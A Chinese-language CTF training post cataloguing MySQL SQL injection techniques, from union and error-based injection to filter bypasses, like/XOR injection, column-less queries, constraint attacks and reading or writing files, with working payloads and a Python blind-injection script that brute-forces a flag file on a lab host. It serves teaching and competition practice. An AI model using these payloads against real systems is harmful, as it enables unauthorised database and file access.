最近要做一个萌新培训&搭建队内的wiki,所有就有了这个东西了,尽可能将sql注入讲全,同时也记录一下奇技淫巧2333
回显注入
这种题是最友好的题了,萌新入门题,先来个对mysql数据库最初的印象好吧
例题
http://ctf5.shiyanbar.com/423/web/?id=1
做题前先来一个注入点的探测好吧
先尝试一下最基础的
很明显可以确定id是注入点而且后台是用单引号闭合的
可以看到回显是1 1=1
,这里我们猜测一下,如果后台过滤了空格,而且将and替换为空刚好是这样的回显的,然后空格被过滤掉以后是可以用/**/
或者(
去进行替换的,尝试一下验证一下我们的猜想
可以看到替换了以后空格可以执行了,而且and
也显示出来了,或许后台没有过滤and
?先继续下一步去探测
通过这个语句爆出了数据库名,接着找表名
接下来找字段名因为对column_name
和information_schema.columns
进行了过滤,我们可以用双写绕过
拿到字段名和表名最后就是读内容了
这道题的绕过还是很友好的,只是一些双写的绕过和空格的绕过而已,那么接下来我们再来一个难一点的
报错注入
有时候,如果过滤不严但是页面没有什么回显点的时候,可以考虑一下报错注入,常见报错分为数据溢出、xpath语法错误、主键重复和一些神奇的特性
数据溢出
首先就是最基础也最好懂的数据溢出,我们先看一下mysql的数据范围
这里需要注意一点的就是,整数出现溢出以后会报错的情况在mysql5.5+才会有,不然是不会进行报错的,当然,我们在做溢出的时候也不用看着上面的数据范围去选择数据进行溢出,只需要用一个小的数进行按位取反就行
当然这里重点是要讲利用函数进行溢出和利用,先一个个函数讲过去
exp
这个函数是用来返回e(自然对数的底)到X次方的值此函数返回e(自然对数的底)的X次方的值,但是如果超出范围是会报错的
而我们知道字母的值是很小的,好像是0?没记错的话,这个时候如果取个反而且exp一下的话,肯定是会超出范围的
注意一个坑点,当mysql版本<=5.5.4的时候可以将报错信息显示出来,也就是会显示成1
2
3MariaDB [(none)]> select exp(~(select user()));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~('root@localhost'))'
MariaDB [(none)]>
可是mysql>5.5.4的时候就只报错不显示信息了,而且报错信息有长度显示,不能超过512
xpath语法错误
在mysql中,提供了一些xml查询和修改的函数,比如extractvalue
和updatexml
,但是利用他的时候要符合xpath的语法,如果不符合则会将报错信息输出出来,因此如果我们在里面进行数据库查询的时候,他也会相应的爆出来
至于例题,bugku有一题多次的注入,第二关就是报错注入
主键重复
这里利用了count
和group by
在遇到rand
产生的重复值时报错,错误类型是duplicate entry
,即主键重复。实际上只要是count
,rand
,group by
三个连用就会造成这种报错,与位置无关。
这种报错方式的本质是因为floor(rand(0)*2)
的重复性,导致了group by
语句的出错,group by key
的原理是循环读取数据的每一行,将结果保存在一个临时的表中。读取每一行的key
时,如果key
存在于临时表时,就不更新临时表的数据,否则就插入数据。
举个栗子
假设我们现在有这样一张表
但是如果我们有这样一句语句select count(*) from user group by username
,他的过程是这样的
先是建立一个类似这样的虚拟表
然后建立过程是
正常操作是不会有问题的,但是如果rand(0)*2
,就会报错了,因为rand(0)
是一个稳定的序列
可以看到,两次随机出来的东西居然是一样的,因此取整的时候自然也一样了
这个时候如果我们将刚刚的语句改成select count(*) from user group by floor(rand(0)*2)
先注意一点,MySQL官方:查询的时候如果使用rand()
的话,该值会被计算多次,在使用group by
的时候,floor(rand(0)*2)
会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,最终会导致主键重复错误产生。
继续是建立一个虚拟的表
先取第一条数据,执行floor(rand(0)*2)
(第一次计算),结果是0,但是虚表没有该键值,故再进行一次计算(第二次计算),结果是1,然后插入数据
取第二条数据的时候,再进行一次计算(第三次计算),结果是1,所以更新表格
到了取第三条数据的时候,进行一次计算(第四次计算),结果是0,但是键值没有0,所以再一次计算(第五次计算),但是这个时候出来的结果是1,此时1已经存在在表格里了,所以就会出现主键重复了
还要注意一点1
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
大概的意思就是:在where语句中,where每执行一次,rand()函数就会被计算一次。rand()不能作为order by的条件字段,同理也不能作为group by的条件字段。1
2
3
4
5
6
7
8//数据库
select * from user where 1=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a);
//表名
select * from user where 1=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
//字段
select * from user where 1=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='user' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
//值
select * from user where 1=1 and (select 1 from (select count(*),concat((select id from user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
神奇的特性
这里写的我也不知道归去什么,就放去特性好了
列名重复
在mysql中,列名重复的时候会报错,利用这一个特性,配合上join的使用,我们也可以将字段爆出来1
2
3
4mysql> select * from (select * from user a join user b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from (select * from user a join user b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
几何函数
在mysql中有一些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
等,如果我们传入的参数不是几何数据就会报错,但是mysql版本5.7及以上的时候就只报错不报信息1
select multipoint((select * from (select * from (select version())a)b));
盲注
布尔盲注
时间盲注
报错盲注
一些神奇的技巧
宽字节注入
like注入
继续是之前的数据库,我们先看一下like是怎么用的1
2
3
4
5
6
7MariaDB [door]> select * from user where username like '%us%';
+----+----------+
| id | username |
+----+----------+
| 1 | user |
+----+----------+
1 row in set (0.11 sec)
一般网站在进行搜索的时候,都会将要搜索的字符放进两个%中间,所以如果我们的输入的数据不是正常的数据,而是类似于万能钥匙的东西,那样就存在注入了1
2
3
4
5
6
7
8
9
10
11
12MariaDB [door]> select * from user where username like '%' and 1=1 and '%'='%';
+----+----------+
| id | username |
+----+----------+
| 1 | user |
| 2 | admin |
| 3 | Ariel |
| 4 | glarcy |
| 5 | Ariel |
| 6 | Twings |
+----+----------+
6 rows in set (0.28 sec)
记几句语句1
2
3' and 1=1 and '%'='
' and 1=1--'
1'or(select(password)from(user)like/**/'%a%')#
异或注入
用于布尔盲注的一种,同号为假异号为真1
1^(length(select database())=5)%23
innodb引擎的注入
如果mysql的用户是root,mysql版本在5.6以上,information那些关键字又过滤了,可以考虑下这个注入1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.36-82.2 |
+------------------+
1 row in set (0.00 sec)
mysql> select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();
+--------------------------+
| group_concat(table_name) |
+--------------------------+
| exercise,feedback,user |
+--------------------------+
1 row in set (0.00 sec)
mysql> select group_concat(table_name) from mysql.innodb_index_stats where database_name=database();
+----------------------------------------------------------------------+
| group_concat(table_name) |
+----------------------------------------------------------------------+
| exercise,exercise,exercise,feedback,feedback,feedback,user,user,user |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)
但是有个鸡肋的地方就是不能报字段名
无列名注入
这个是在你知道了字段有多少个,而且还知道数据库名是什么但是死活爆不出字段名的时候可以用1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26MariaDB [door]> select 1,2 union select * from user;
+---+--------+
| 1 | 2 |
+---+--------+
| 1 | 2 |
| 1 | user |
| 2 | admin |
| 3 | Ariel |
| 4 | glarcy |
| 5 | Ariel |
| 6 | Twings |
+---+--------+
7 rows in set (0.00 sec)
MariaDB [door]> select `2` from (select 1,2 union select * from user)a;
+--------+
| 2 |
+--------+
| 2 |
| user |
| admin |
| Ariel |
| glarcy |
| Ariel |
| Twings |
+--------+
7 rows in set (0.00 sec)
约束攻击
要求mysql版本5.5以上且设置数据库为宽松模式,避免出现error
主要操作就是先注册一个账号为admin+n个空格+1
,密码任意,然后登录的时候输入admin和你刚刚注册的密码
原来就是mysql在select的时候比较不同长度的字符串时会用空格填充然后在进行比较,而insert的时候则会截断超过长度的字符串
通过SQL注入读取文件
这个菜鸡踩了个大坑,之前线下赛考点这个点,但是用得少,死活记不起来,暴毙……1
2
3
4
5
6MariaDB [door]> select load_file('D:/1.txt');
+-----------------------+
| load_file('D:/1.txt') |
+-----------------------+
| u see me |
+-----------------------+
顺便拍个当时半决赛的题解1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16# -*-coding:utf-8 -*-
import requests
import string
url = "http://172.29.3.104/index.php"
chars = string.ascii_letters + string.digits + "{}"
flag = ""
while 1:
for x in chars:
payload = "username='or(load_file('/flag')like/**/binary/**/'" + flag + x + "%')#"
data = {
"username": payload
}
if "login success" in requests.post(url, data=data).content:
flag += x
print flag
通过SQL注入写文件
需要有写权限才行,局限很大,但是也记一下1
2
3
4
5
6
7
8
9
10
11MariaDB [door]> select 1 into outfile 'D:/1.txt';
ERROR 1086 (HY000): File 'D:/1.txt' already exists
MariaDB [door]> select 1 into outfile 'D:/2.txt';
Query OK, 1 row affected (0.00 sec)
MariaDB [door]> select load_file('D:/2.txt');
+-----------------------+
| load_file('D:/2.txt') |
+-----------------------+
| 1 |
+-----------------------+
1 row in set (0.28 sec)